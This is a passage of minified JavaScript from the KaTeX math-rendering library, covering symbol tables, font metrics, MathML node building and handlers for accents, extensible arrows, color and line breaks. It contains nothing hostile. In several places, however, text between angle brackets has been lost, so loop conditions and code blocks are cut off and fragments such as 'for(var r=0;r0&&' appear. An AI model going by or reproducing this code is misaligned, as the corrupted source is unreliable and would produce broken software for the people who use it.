ldots",!0),_(j,Z,te,"\u2026","\\ldots",!0),_(j,Z,te,"\u22ef","\\@cdots",!0),_(j,Z,te,"\u22f1","\\ddots",!0),_(j,Z,le,"\u22ee","\\varvdots"),_(j,Z,J,"\u02ca","\\acute"),_(j,Z,J,"\u02cb","\\grave"),_(j,Z,J,"\xa8","\\ddot"),_(j,Z,J,"~","\\tilde"),_(j,Z,J,"\u02c9","\\bar"),_(j,Z,J,"\u02d8","\\breve"),_(j,Z,J,"\u02c7","\\check"),_(j,Z,J,"^","\\hat"),_(j,Z,J,"\u20d7","\\vec"),_(j,Z,J,"\u02d9","\\dot"),_(j,Z,J,"\u02da","\\mathring"),_(j,Z,re,"\ue131","\\@imath"),_(j,Z,re,"\ue237","\\@jmath"),_(j,Z,le,"\u0131","\u0131"),_(j,Z,le,"\u0237","\u0237"),_($,Z,le,"\u0131","\\i",!0),_($,Z,le,"\u0237","\\j",!0),_($,Z,le,"\xdf","\\ss",!0),_($,Z,le,"\xe6","\\ae",!0),_($,Z,le,"\u0153","\\oe",!0),_($,Z,le,"\xf8","\\o",!0),_($,Z,le,"\xc6","\\AE",!0),_($,Z,le,"\u0152","\\OE",!0),_($,Z,le,"\xd8","\\O",!0),_($,Z,J,"\u02ca","\\'"),_($,Z,J,"\u02cb","\\`"),_($,Z,J,"\u02c6","\\^"),_($,Z,J,"\u02dc","\\~"),_($,Z,J,"\u02c9","\\="),_($,Z,J,"\u02d8","\\u"),_($,Z,J,"\u02d9","\\."),_($,Z,J,"\xb8","\\c"),_($,Z,J,"\u02da","\\r"),_($,Z,J,"\u02c7","\\v"),_($,Z,J,"\xa8",'\\"'),_($,Z,J,"\u02dd","\\H"),_($,Z,J,"\u25ef","\\textcircled");var he={"--":!0,"---":!0,"``":!0,"''":!0};_($,Z,le,"\u2013","--",!0),_($,Z,le,"\u2013","\\textendash"),_($,Z,le,"\u2014","---",!0),_($,Z,le,"\u2014","\\textemdash"),_($,Z,le,"\u2018","`",!0),_($,Z,le,"\u2018","\\textquoteleft"),_($,Z,le,"\u2019","'",!0),_($,Z,le,"\u2019","\\textquoteright"),_($,Z,le,"\u201c","``",!0),_($,Z,le,"\u201c","\\textquotedblleft"),_($,Z,le,"\u201d","''",!0),_($,Z,le,"\u201d","\\textquotedblright"),_(j,Z,le,"\xb0","\\degree",!0),_($,Z,le,"\xb0","\\degree"),_($,Z,le,"\xb0","\\textdegree",!0),_(j,Z,le,"\xa3","\\pounds"),_(j,Z,le,"\xa3","\\mathsterling",!0),_($,Z,le,"\xa3","\\pounds"),_($,Z,le,"\xa3","\\textsterling",!0),_(j,K,le,"\u2720","\\maltese"),_($,K,le,"\u2720","\\maltese");for(var me='0123456789/@."',ce=0;ce=5?0:e>=3?1:2]){var r=G[t]={cssEmPerMu:P.quad[t]/18};for(var n in P)P.hasOwnProperty(n)&&(r[n]=P[n][t])}return G[t]}(this.size)),this._fontMetrics},t.getColor=function(){return this.phantom?"transparent":this.color},e}();Ie.BASESIZE=6;var Re=Ie,Oe={pt:1,mm:7227/2540,cm:7227/254,in:72.27,bp:1.00375,pc:12,dd:1238/1157,cc:14856/1157,nd:685/642,nc:1370/107,sp:1/65536,px:1.00375},Ee={ex:!0,em:!0,mu:!0},He=function(e){return"string"!=typeof e&&(e=e.unit),e in Oe||e in Ee||"ex"===e},Le=function(e,t){var r;if(e.unit in Oe)r=Oe[e.unit]/t.fontMetrics().ptPerEm/t.sizeMultiplier;else if("mu"===e.unit)r=t.fontMetrics().cssEmPerMu;else{var a;if(a=t.style.isTight()?t.havingStyle(t.style.text()):t,"ex"===e.unit)r=a.fontMetrics().xHeight;else{if("em"!==e.unit)throw new n("Invalid unit: '"+e.unit+"'");r=a.fontMetrics().quad}a!==t&&(r*=a.sizeMultiplier/t.sizeMultiplier)}return Math.min(e.number*r,t.maxSize)},De=function(e,t,r){return X[r][e]&&X[r][e].replace&&(e=X[r][e].replace),{value:e,metrics:V(e,t,r)}},Pe=function(e,t,r,n,a){var i,o=De(e,t,r),s=o.metrics;if(e=o.value,s){var l=s.italic;("text"===r||n&&"mathit"===n.font)&&(l=0),i=new R(e,s.height,s.depth,l,s.skew,s.width,a)}else"undefined"!=typeof console&&console.warn("No character metrics for '"+e+"' in style '"+t+"' and mode '"+r+"'"),i=new R(e,0,0,0,0,0,a);if(n){i.maxFontSize=n.sizeMultiplier,n.style.isTight()&&i.classes.push("mtight");var h=n.getColor();h&&(i.style.color=h)}return i},Fe=function(e,t){if(z(e.classes)!==z(t.classes)||e.skew!==t.skew||e.maxFontSize!==t.maxFontSize)return!1;if(1===e.classes.length){var r=e.classes[0];if("mbin"===r||"mord"===r)return!1}for(var n in e.style)if(e.style.hasOwnProperty(n)&&e.style[n]!==t.style[n])return!1;for(var a in t.style)if(t.style.hasOwnProperty(a)&&e.style[a]!==t.style[a])return!1;return!0},Ve=function(e){for(var t=0,r=0,n=0,a=0;at&&(t=i.height),i.depth>r&&(r=i.depth),i.maxFontSize>n&&(n=i.maxFontSize)}e.height=t,e.depth=r,e.maxFontSize=n},Ge=function(e,t,r,n){var a=new N(e,t,r,n);return Ve(a),a},Ue=function(e,t,r,n){return new N(e,t,r,n)},Ye=function(e){var t=new M(e);return Ve(t),t},We=function(e,t,r){var n="";switch(e){case"amsrm":n="AMS";break;case"textrm":n="Main";break;case"textsf":n="SansSerif";break;case"texttt":n="Typewriter";break;default:n=e}return n+"-"+("textbf"===t&&"textit"===r?"BoldItalic":"textbf"===t?"Bold":"textit"===t?"Italic":"Regular")},Xe={mathbf:{variant:"bold",fontName:"Main-Bold"},mathrm:{variant:"normal",fontName:"Main-Regular"},textit:{variant:"italic",fontName:"Main-Italic"},mathit:{variant:"italic",fontName:"Main-Italic"},mathnormal:{variant:"italic",fontName:"Math-Italic"},mathbb:{variant:"double-struck",fontName:"AMS-Regular"},mathcal:{variant:"script",fontName:"Caligraphic-Regular"},mathfrak:{variant:"fraktur",fontName:"Fraktur-Regular"},mathscr:{variant:"script",fontName:"Script-Regular"},mathsf:{variant:"sans-serif",fontName:"SansSerif-Regular"},mathtt:{variant:"monospace",fontName:"Typewriter-Regular"}},_e={vec:["vec",.471,.714],oiintSize1:["oiintSize1",.957,.499],oiintSize2:["oiintSize2",1.472,.659],oiiintSize1:["oiiintSize1",1.304,.499],oiiintSize2:["oiiintSize2",1.98,.659]},je={fontMap:Xe,makeSymbol:Pe,mathsym:function(e,t,r,n){return void 0===n&&(n=[]),"boldsymbol"===r.font&&De(e,"Main-Bold",t).metrics?Pe(e,"Main-Bold",t,r,n.concat(["mathbf"])):"\\"===e||"main"===X[t][e].font?Pe(e,"Main-Regular",t,r,n):Pe(e,"AMS-Regular",t,r,n.concat(["amsrm"]))},makeSpan:Ge,makeSvgSpan:Ue,makeLineSpan:function(e,t,r){var n=Ge([e],[],t);return n.height=Math.max(r||t.fontMetrics().defaultRuleThickness,t.minRuleThickness),n.style.borderBottomWidth=n.height+"em",n.maxFontSize=1,n},makeAnchor:function(e,t,r,n){var a=new q(e,t,r,n);return Ve(a),a},makeFragment:Ye,wrapFragment:function(e,t){return e instanceof M?Ge([],[e],t):e},makeVList:function(e,t){for(var r=function(e){if("individualShift"===e.positionType){for(var t=e.children,r=[t[0]],n=-t[0].shift-t[0].elem.depth,a=n,i=1;i0&&(o.push(yt(s,t)),s=[]),o.push(a[l]));s.length>0&&o.push(yt(s,t)),r?((i=yt(ut(r,t,!0))).classes=["tag"],o.push(i)):n&&o.push(n);var m=st(["katex-html"],o);if(m.setAttribute("aria-hidden","true"),i){var c=i.children[0];c.style.height=m.height+m.depth+"em",c.style.verticalAlign=-m.depth+"em"}return m}function wt(e){return new M(e)}var kt=function(){function e(e,t,r){this.type=void 0,this.attributes=void 0,this.children=void 0,this.classes=void 0,this.type=e,this.attributes={},this.children=t||[],this.classes=r||[]}var t=e.prototype;return t.setAttribute=function(e,t){this.attributes[e]=t},t.getAttribute=function(e){return this.attributes[e]},t.toNode=function(){var e=document.createElementNS("http://www.w3.org/1998/Math/MathML",this.type);for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);this.classes.length>0&&(e.className=z(this.classes));for(var r=0;r0&&(e+=' class ="'+l.escape(z(this.classes))+'"'),e+=">";for(var r=0;r"},t.toText=function(){return this.children.map((function(e){return e.toText()})).join("")},e}(),St=function(){function e(e){this.text=void 0,this.text=e}var t=e.prototype;return t.toNode=function(){return document.createTextNode(this.text)},t.toMarkup=function(){return l.escape(this.toText())},t.toText=function(){return this.text},e}(),Mt={MathNode:kt,TextNode:St,SpaceNode:function(){function e(e){this.width=void 0,this.character=void 0,this.width=e,this.character=e>=.05555&&e<=.05556?"\u200a":e>=.1666&&e<=.1667?"\u2009":e>=.2222&&e<=.2223?"\u2005":e>=.2777&&e<=.2778?"\u2005\u200a":e>=-.05556&&e<=-.05555?"\u200a\u2063":e>=-.1667&&e<=-.1666?"\u2009\u2063":e>=-.2223&&e<=-.2222?"\u205f\u2063":e>=-.2778&&e<=-.2777?"\u2005\u2063":null}var t=e.prototype;return t.toNode=function(){if(this.character)return document.createTextNode(this.character);var e=document.createElementNS("http://www.w3.org/1998/Math/MathML","mspace");return e.setAttribute("width",this.width+"em"),e},t.toMarkup=function(){return this.character?""+this.character+"":''},t.toText=function(){return this.character?this.character:" "},e}(),newDocumentFragment:wt},zt=function(e,t,r){return!X[t][e]||!X[t][e].replace||55349===e.charCodeAt(0)||he.hasOwnProperty(e)&&r&&(r.fontFamily&&"tt"===r.fontFamily.substr(4,2)||r.font&&"tt"===r.font.substr(4,2))||(e=X[t][e].replace),new Mt.TextNode(e)},At=function(e){return 1===e.length?e[0]:new Mt.MathNode("mrow",e)},Tt=function(e,t){if("texttt"===t.fontFamily)return"monospace";if("textsf"===t.fontFamily)return"textit"===t.fontShape&&"textbf"===t.fontWeight?"sans-serif-bold-italic":"textit"===t.fontShape?"sans-serif-italic":"textbf"===t.fontWeight?"bold-sans-serif":"sans-serif";if("textit"===t.fontShape&&"textbf"===t.fontWeight)return"bold-italic";if("textit"===t.fontShape)return"italic";if("textbf"===t.fontWeight)return"bold";var r=t.font;if(!r||"mathnormal"===r)return null;var n=e.mode;if("mathit"===r)return"italic";if("boldsymbol"===r)return"textord"===e.type?"bold":"bold-italic";if("mathbf"===r)return"bold";if("mathbb"===r)return"double-struck";if("mathfrak"===r)return"fraktur";if("mathscr"===r||"mathcal"===r)return"script";if("mathsf"===r)return"sans-serif";if("mathtt"===r)return"monospace";var a=e.text;return l.contains(["\\imath","\\jmath"],a)?null:(X[n][a]&&X[n][a].replace&&(a=X[n][a].replace),V(a,je.fontMap[r].fontName,n)?je.fontMap[r].variant:null)},Bt=function(e,t,r){if(1===e.length){var n=qt(e[0],t);return r&&n instanceof kt&&"mo"===n.type&&(n.setAttribute("lspace","0em"),n.setAttribute("rspace","0em")),[n]}for(var a,i=[],o=0;o0&&(p.text=p.text.slice(0,1)+"\u0338"+p.text.slice(1),i.pop())}}}i.push(s),a=s}return i},Nt=function(e,t,r){return At(Bt(e,t,r))},qt=function(e,t){if(!e)return new Mt.MathNode("mrow");if(rt[e.type])return rt[e.type](e,t);throw new n("Got group of unknown type: '"+e.type+"'")};function Ct(e,t,r,n,a){var i,o=Bt(e,r);i=1===o.length&&o[0]instanceof kt&&l.contains(["mrow","mtable"],o[0].type)?o[0]:new Mt.MathNode("mrow",o);var s=new Mt.MathNode("annotation",[new Mt.TextNode(t)]);s.setAttribute("encoding","application/x-tex");var h=new Mt.MathNode("semantics",[i,s]),m=new Mt.MathNode("math",[h]);m.setAttribute("xmlns","http://www.w3.org/1998/Math/MathML"),n&&m.setAttribute("display","block");var c=a?"katex":"katex-mathml";return je.makeSpan([c],[m])}var It=function(e){return new Re({style:e.displayMode?b.DISPLAY:b.TEXT,maxSize:e.maxSize,minRuleThickness:e.minRuleThickness})},Rt=function(e,t){if(t.displayMode){var r=["katex-display"];t.leqno&&r.push("leqno"),t.fleqn&&r.push("fleqn"),e=je.makeSpan(r,[e])}return e},Ot=function(e,t,r){var n,a=It(r);if("mathml"===r.output)return Ct(e,t,a,r.displayMode,!0);if("html"===r.output){var i=xt(e,a);n=je.makeSpan(["katex"],[i])}else{var o=Ct(e,t,a,r.displayMode,!1),s=xt(e,a);n=je.makeSpan(["katex"],[o,s])}return Rt(n,r)},Et={widehat:"^",widecheck:"\u02c7",widetilde:"~",utilde:"~",overleftarrow:"\u2190",underleftarrow:"\u2190",xleftarrow:"\u2190",overrightarrow:"\u2192",underrightarrow:"\u2192",xrightarrow:"\u2192",underbrace:"\u23df",overbrace:"\u23de",overgroup:"\u23e0",undergroup:"\u23e1",overleftrightarrow:"\u2194",underleftrightarrow:"\u2194",xleftrightarrow:"\u2194",Overrightarrow:"\u21d2",xRightarrow:"\u21d2",overleftharpoon:"\u21bc",xleftharpoonup:"\u21bc",overrightharpoon:"\u21c0",xrightharpoonup:"\u21c0",xLeftarrow:"\u21d0",xLeftrightarrow:"\u21d4",xhookleftarrow:"\u21a9",xhookrightarrow:"\u21aa",xmapsto:"\u21a6",xrightharpoondown:"\u21c1",xleftharpoondown:"\u21bd",xrightleftharpoons:"\u21cc",xleftrightharpoons:"\u21cb",xtwoheadleftarrow:"\u219e",xtwoheadrightarrow:"\u21a0",xlongequal:"=",xtofrom:"\u21c4",xrightleftarrows:"\u21c4",xrightequilibrium:"\u21cc",xleftequilibrium:"\u21cb","\\cdrightarrow":"\u2192","\\cdleftarrow":"\u2190","\\cdlongequal":"="},Ht={overrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],overleftarrow:[["leftarrow"],.888,522,"xMinYMin"],underrightarrow:[["rightarrow"],.888,522,"xMaxYMin"],underleftarrow:[["leftarrow"],.888,522,"xMinYMin"],xrightarrow:[["rightarrow"],1.469,522,"xMaxYMin"],"\\cdrightarrow":[["rightarrow"],3,522,"xMaxYMin"],xleftarrow:[["leftarrow"],1.469,522,"xMinYMin"],"\\cdleftarrow":[["leftarrow"],3,522,"xMinYMin"],Overrightarrow:[["doublerightarrow"],.888,560,"xMaxYMin"],xRightarrow:[["doublerightarrow"],1.526,560,"xMaxYMin"],xLeftarrow:[["doubleleftarrow"],1.526,560,"xMinYMin"],overleftharpoon:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoonup:[["leftharpoon"],.888,522,"xMinYMin"],xleftharpoondown:[["leftharpoondown"],.888,522,"xMinYMin"],overrightharpoon:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoonup:[["rightharpoon"],.888,522,"xMaxYMin"],xrightharpoondown:[["rightharpoondown"],.888,522,"xMaxYMin"],xlongequal:[["longequal"],.888,334,"xMinYMin"],"\\cdlongequal":[["longequal"],3,334,"xMinYMin"],xtwoheadleftarrow:[["twoheadleftarrow"],.888,334,"xMinYMin"],xtwoheadrightarrow:[["twoheadrightarrow"],.888,334,"xMaxYMin"],overleftrightarrow:[["leftarrow","rightarrow"],.888,522],overbrace:[["leftbrace","midbrace","rightbrace"],1.6,548],underbrace:[["leftbraceunder","midbraceunder","rightbraceunder"],1.6,548],underleftrightarrow:[["leftarrow","rightarrow"],.888,522],xleftrightarrow:[["leftarrow","rightarrow"],1.75,522],xLeftrightarrow:[["doubleleftarrow","doublerightarrow"],1.75,560],xrightleftharpoons:[["leftharpoondownplus","rightharpoonplus"],1.75,716],xleftrightharpoons:[["leftharpoonplus","rightharpoondownplus"],1.75,716],xhookleftarrow:[["leftarrow","righthook"],1.08,522],xhookrightarrow:[["lefthook","rightarrow"],1.08,522],overlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],underlinesegment:[["leftlinesegment","rightlinesegment"],.888,522],overgroup:[["leftgroup","rightgroup"],.888,342],undergroup:[["leftgroupunder","rightgroupunder"],.888,342],xmapsto:[["leftmapsto","rightarrow"],1.5,522],xtofrom:[["leftToFrom","rightToFrom"],1.75,528],xrightleftarrows:[["baraboveleftarrow","rightarrowabovebar"],1.75,901],xrightequilibrium:[["baraboveshortleftharpoon","rightharpoonaboveshortbar"],1.75,716],xleftequilibrium:[["shortbaraboveleftharpoon","shortrightharpoonabovebar"],1.75,716]},Lt=function(e,t,r,n,a){var i,o=e.height+e.depth+r+n;if(/fbox|color|angl/.test(t)){if(i=je.makeSpan(["stretchy",t],[],a),"fbox"===t){var s=a.color&&a.getColor();s&&(i.style.borderColor=s)}}else{var l=[];/^[bx]cancel$/.test(t)&&l.push(new H({x1:"0",y1:"0",x2:"100%",y2:"100%","stroke-width":"0.046em"})),/^x?cancel$/.test(t)&&l.push(new H({x1:"0",y1:"100%",x2:"100%",y2:"0","stroke-width":"0.046em"}));var h=new O(l,{width:"100%",height:o+"em"});i=je.makeSvgSpan([],[h],a)}return i.height=o,i.style.height=o+"em",i},Dt=function(e){var t=new Mt.MathNode("mo",[new Mt.TextNode(Et[e.replace(/^\\/,"")])]);return t.setAttribute("stretchy","true"),t},Pt=function(e,t){var r=function(){var r=4e5,n=e.label.substr(1);if(l.contains(["widehat","widecheck","widetilde","utilde"],n)){var a,i,o,s="ordgroup"===(d=e.base).type?d.body.length:1;if(s>5)"widehat"===n||"widecheck"===n?(a=420,r=2364,o=.42,i=n+"4"):(a=312,r=2340,o=.34,i="tilde4");else{var h=[1,1,2,2,3,3][s];"widehat"===n||"widecheck"===n?(r=[0,1062,2364,2364,2364][h],a=[0,239,300,360,420][h],o=[0,.24,.3,.3,.36,.42][h],i=n+h):(r=[0,600,1033,2339,2340][h],a=[0,260,286,306,312][h],o=[0,.26,.286,.3,.306,.34][h],i="tilde"+h)}var m=new E(i),c=new O([m],{width:"100%",height:o+"em",viewBox:"0 0 "+r+" "+a,preserveAspectRatio:"none"});return{span:je.makeSvgSpan([],[c],t),minWidth:0,height:o}}var u,p,d,f=[],g=Ht[n],v=g[0],b=g[1],y=g[2],x=y/1e3,w=v.length;if(1===w)u=["hide-tail"],p=[g[3]];else if(2===w)u=["halfarrow-left","halfarrow-right"],p=["xMinYMin","xMaxYMin"];else{if(3!==w)throw new Error("Correct katexImagesData or update code here to support\n "+w+" children.");u=["brace-left","brace-center","brace-right"],p=["xMinYMin","xMidYMin","xMaxYMin"]}for(var k=0;k0&&(n.style.minWidth=a+"em"),n};function Ft(e,t){if(!e||e.type!==t)throw new Error("Expected node of type "+t+", but got "+(e?"node of type "+e.type:String(e)));return e}function Vt(e){var t=Gt(e);if(!t)throw new Error("Expected node of symbol group type, but got "+(e?"node of type "+e.type:String(e)));return t}function Gt(e){return e&&("atom"===e.type||Y.hasOwnProperty(e.type))?e:null}var Ut=function(e,t){var r,n,a;e&&"supsub"===e.type?(r=(n=Ft(e.base,"accent")).base,e.base=r,a=function(e){if(e instanceof N)return e;throw new Error("Expected span but got "+String(e)+".")}(bt(e,t)),e.base=n):r=(n=Ft(e,"accent")).base;var i=bt(r,t.havingCrampedStyle()),o=0;if(n.isShifty&&l.isCharacterBox(r)){var s=l.getBaseElem(r);o=L(bt(s,t.havingCrampedStyle())).skew}var h,m="\\c"===n.label,c=m?i.height+i.depth:Math.min(i.height,t.fontMetrics().xHeight);if(n.isStretchy)h=Pt(n,t),h=je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:i},{type:"elem",elem:h,wrapperClasses:["svg-align"],wrapperStyle:o>0?{width:"calc(100% - "+2*o+"em)",marginLeft:2*o+"em"}:void 0}]},t);else{var u,p;"\\vec"===n.label?(u=je.staticSvg("vec",t),p=je.svgData.vec[1]):((u=L(u=je.makeOrd({mode:n.mode,text:n.label},t,"textord"))).italic=0,p=u.width,m&&(c+=u.depth)),h=je.makeSpan(["accent-body"],[u]);var d="\\textcircled"===n.label;d&&(h.classes.push("accent-full"),c=i.height);var f=o;d||(f-=p/2),h.style.left=f+"em","\\textcircled"===n.label&&(h.style.top=".2em"),h=je.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:i},{type:"kern",size:-c},{type:"elem",elem:h}]},t)}var g=je.makeSpan(["mord","accent"],[h],t);return a?(a.children[0]=g,a.height=Math.max(g.height,a.height),a.classes[0]="mord",a):g},Yt=function(e,t){var r=e.isStretchy?Dt(e.label):new Mt.MathNode("mo",[zt(e.label,e.mode)]),n=new Mt.MathNode("mover",[qt(e.base,t),r]);return n.setAttribute("accent","true"),n},Wt=new RegExp(["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring"].map((function(e){return"\\"+e})).join("|"));nt({type:"accent",names:["\\acute","\\grave","\\ddot","\\tilde","\\bar","\\breve","\\check","\\hat","\\vec","\\dot","\\mathring","\\widecheck","\\widehat","\\widetilde","\\overrightarrow","\\overleftarrow","\\Overrightarrow","\\overleftrightarrow","\\overgroup","\\overlinesegment","\\overleftharpoon","\\overrightharpoon"],props:{numArgs:1},handler:function(e,t){var r=it(t[0]),n=!Wt.test(e.funcName),a=!n||"\\widehat"===e.funcName||"\\widetilde"===e.funcName||"\\widecheck"===e.funcName;return{type:"accent",mode:e.parser.mode,label:e.funcName,isStretchy:n,isShifty:a,base:r}},htmlBuilder:Ut,mathmlBuilder:Yt}),nt({type:"accent",names:["\\'","\\`","\\^","\\~","\\=","\\u","\\.",'\\"',"\\c","\\r","\\H","\\v","\\textcircled"],props:{numArgs:1,allowedInText:!0,allowedInMath:!0,argTypes:["primitive"]},handler:function(e,t){var r=t[0],n=e.parser.mode;return"math"===n&&(e.parser.settings.reportNonstrict("mathVsTextAccents","LaTeX's accent "+e.funcName+" works only in text mode"),n="text"),{type:"accent",mode:n,label:e.funcName,isStretchy:!1,isShifty:!0,base:r}},htmlBuilder:Ut,mathmlBuilder:Yt}),nt({type:"accentUnder",names:["\\underleftarrow","\\underrightarrow","\\underleftrightarrow","\\undergroup","\\underlinesegment","\\utilde"],props:{numArgs:1},handler:function(e,t){var r=e.parser,n=e.funcName,a=t[0];return{type:"accentUnder",mode:r.mode,label:n,base:a}},htmlBuilder:function(e,t){var r=bt(e.base,t),n=Pt(e,t),a="\\utilde"===e.label?.12:0,i=je.makeVList({positionType:"top",positionData:r.height,children:[{type:"elem",elem:n,wrapperClasses:["svg-align"]},{type:"kern",size:a},{type:"elem",elem:r}]},t);return je.makeSpan(["mord","accentunder"],[i],t)},mathmlBuilder:function(e,t){var r=Dt(e.label),n=new Mt.MathNode("munder",[qt(e.base,t),r]);return n.setAttribute("accentunder","true"),n}});var Xt=function(e){var t=new Mt.MathNode("mpadded",e?[e]:[]);return t.setAttribute("width","+0.6em"),t.setAttribute("lspace","0.3em"),t};nt({type:"xArrow",names:["\\xleftarrow","\\xrightarrow","\\xLeftarrow","\\xRightarrow","\\xleftrightarrow","\\xLeftrightarrow","\\xhookleftarrow","\\xhookrightarrow","\\xmapsto","\\xrightharpoondown","\\xrightharpoonup","\\xleftharpoondown","\\xleftharpoonup","\\xrightleftharpoons","\\xleftrightharpoons","\\xlongequal","\\xtwoheadrightarrow","\\xtwoheadleftarrow","\\xtofrom","\\xrightleftarrows","\\xrightequilibrium","\\xleftequilibrium","\\\\cdrightarrow","\\\\cdleftarrow","\\\\cdlongequal"],props:{numArgs:1,numOptionalArgs:1},handler:function(e,t,r){var n=e.parser,a=e.funcName;return{type:"xArrow",mode:n.mode,label:a,body:t[0],below:r[0]}},htmlBuilder:function(e,t){var r,n=t.style,a=t.havingStyle(n.sup()),i=je.wrapFragment(bt(e.body,a,t),t),o="\\x"===e.label.slice(0,2)?"x":"cd";i.classes.push(o+"-arrow-pad"),e.below&&(a=t.havingStyle(n.sub()),(r=je.wrapFragment(bt(e.below,a,t),t)).classes.push(o+"-arrow-pad"));var s,l=Pt(e,t),h=-t.fontMetrics().axisHeight+.5*l.height,m=-t.fontMetrics().axisHeight-.5*l.height-.111;if((i.depth>.25||"\\xleftequilibrium"===e.label)&&(m-=i.depth),r){var c=-t.fontMetrics().axisHeight+r.height+.5*l.height+.111;s=je.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:m},{type:"elem",elem:l,shift:h},{type:"elem",elem:r,shift:c}]},t)}else s=je.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:m},{type:"elem",elem:l,shift:h}]},t);return s.children[0].children[0].children[1].classes.push("svg-align"),je.makeSpan(["mrel","x-arrow"],[s],t)},mathmlBuilder:function(e,t){var r,n=Dt(e.label);if(n.setAttribute("minsize","x"===e.label.charAt(0)?"1.75em":"3.0em"),e.body){var a=Xt(qt(e.body,t));if(e.below){var i=Xt(qt(e.below,t));r=new Mt.MathNode("munderover",[n,i,a])}else r=new Mt.MathNode("mover",[n,a])}else if(e.below){var o=Xt(qt(e.below,t));r=new Mt.MathNode("munder",[n,o])}else r=Xt(),r=new Mt.MathNode("mover",[n,r]);return r}});var _t={">":"\\\\cdrightarrow","<":"\\\\cdleftarrow","=":"\\\\cdlongequal",A:"\\uparrow",V:"\\downarrow","|":"\\Vert",".":"no arrow"},jt=function(e){return"textord"===e.type&&"@"===e.text};function $t(e,t,r){var n=_t[e];switch(n){case"\\\\cdrightarrow":case"\\\\cdleftarrow":return r.callFunction(n,[t[0]],[t[1]]);case"\\uparrow":case"\\downarrow":var a={type:"atom",text:n,mode:"math",family:"rel"},i={type:"ordgroup",mode:"math",body:[r.callFunction("\\\\cdleft",[t[0]],[]),r.callFunction("\\Big",[a],[]),r.callFunction("\\\\cdright",[t[1]],[])]};return r.callFunction("\\\\cdparent",[i],[]);case"\\\\cdlongequal":return r.callFunction("\\\\cdlongequal",[],[]);case"\\Vert":return r.callFunction("\\Big",[{type:"textord",text:"\\Vert",mode:"math"}],[]);default:return{type:"textord",text:" ",mode:"math"}}}nt({type:"cdlabel",names:["\\\\cdleft","\\\\cdright"],props:{numArgs:1},handler:function(e,t){var r=e.parser,n=e.funcName;return{type:"cdlabel",mode:r.mode,side:n.slice(4),label:t[0]}},htmlBuilder:function(e,t){var r=t.havingStyle(t.style.sup()),n=je.wrapFragment(bt(e.label,r,t),t);return n.classes.push("cd-label-"+e.side),n.style.bottom=.8-n.depth+"em",n.height=0,n.depth=0,n},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mrow",[qt(e.label,t)]);return(r=new Mt.MathNode("mpadded",[r])).setAttribute("width","0"),"left"===e.side&&r.setAttribute("lspace","-1width"),r.setAttribute("voffset","0.7em"),(r=new Mt.MathNode("mstyle",[r])).setAttribute("displaystyle","false"),r.setAttribute("scriptlevel","1"),r}}),nt({type:"cdlabelparent",names:["\\\\cdparent"],props:{numArgs:1},handler:function(e,t){return{type:"cdlabelparent",mode:e.parser.mode,fragment:t[0]}},htmlBuilder:function(e,t){var r=je.wrapFragment(bt(e.fragment,t),t);return r.classes.push("cd-vert-arrow"),r},mathmlBuilder:function(e,t){return new Mt.MathNode("mrow",[qt(e.fragment,t)])}}),nt({type:"textord",names:["\\@char"],props:{numArgs:1,allowedInText:!0},handler:function(e,t){for(var r=e.parser,a=Ft(t[0],"ordgroup").body,i="",o=0;o=1114111)throw new n("\\@char with invalid code point "+i);return l<=65535?s=String.fromCharCode(l):(l-=65536,s=String.fromCharCode(55296+(l>>10),56320+(1023&l))),{type:"textord",mode:r.mode,text:s}}});var Zt=function(e,t){var r=ut(e.body,t.withColor(e.color),!1);return je.makeFragment(r)},Kt=function(e,t){var r=Bt(e.body,t.withColor(e.color)),n=new Mt.MathNode("mstyle",r);return n.setAttribute("mathcolor",e.color),n};nt({type:"color",names:["\\textcolor"],props:{numArgs:2,allowedInText:!0,argTypes:["color","original"]},handler:function(e,t){var r=e.parser,n=Ft(t[0],"color-token").color,a=t[1];return{type:"color",mode:r.mode,color:n,body:ot(a)}},htmlBuilder:Zt,mathmlBuilder:Kt}),nt({type:"color",names:["\\color"],props:{numArgs:1,allowedInText:!0,argTypes:["color"]},handler:function(e,t){var r=e.parser,n=e.breakOnTokenText,a=Ft(t[0],"color-token").color;r.gullet.macros.set("\\current@color",a);var i=r.parseExpression(!0,n);return{type:"color",mode:r.mode,color:a,body:i}},htmlBuilder:Zt,mathmlBuilder:Kt}),nt({type:"cr",names:["\\\\"],props:{numArgs:0,numOptionalArgs:1,argTypes:["size"],allowedInText:!0},handler:function(e,t,r){var n=e.parser,a=r[0],i=!n.settings.displayMode||!n.settings.useStrictBehavior("newLineInDisplayMode","In LaTeX, \\\\ or \\newline does nothing in display mode");return{type:"cr",mode:n.mode,newLine:i,size:a&&Ft(a,"size").value}},htmlBuilder:function(e,t){var r=je.makeSpan(["mspace"],[],t);return e.newLine&&(r.classes.push("newline"),e.size&&(r.style.marginTop=Le(e.size,t)+"em")),r},mathmlBuilder:function(e,t){var r=new Mt.MathNode("mspace");return e.newLine&&(r.setAttribute("linebreak","newline"),e.size&&r.setAttribute("height",Le(e.size,t)+"em")),r}});var Jt={"\\global":"\\global","\\long":"\\\\globallong","\\\\globallong":"\\\\globallong","\\def":"\\gdef","\\gdef":"\\gdef","\\edef":"\\xdef","\\xdef":"\\xdef","\\let":"\\\\globallet","\\futurelet":"\\\\globalfuture"},Qt=function(e){var t=e.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(t))throw new n("Expected a control sequence",e);return t},er=function(e,t,r,n){var a=e.gullet.macros.get(r.text);null==a&&(r.noexpand=!0,a={tokens:[r],numArgs:0,unexpandable:!e.gullet.isExpandable(r.text)}),e.gullet.macros.set(t,a,n)};nt({type:"internal",names:["\\global","\\long","\\\\globallong"],props:{numArgs:0,allowedInText:!0},handler:function(e){var t=e.parser,r=e.funcName;t.consumeSpaces();var a=t.fetch();if(Jt[a.text])return"\\global"!==r&&"\\\\globallong"!==r||(a.text=Jt[a.text]),Ft(t.parseFunction(),"internal");throw new n("Invalid token after macro 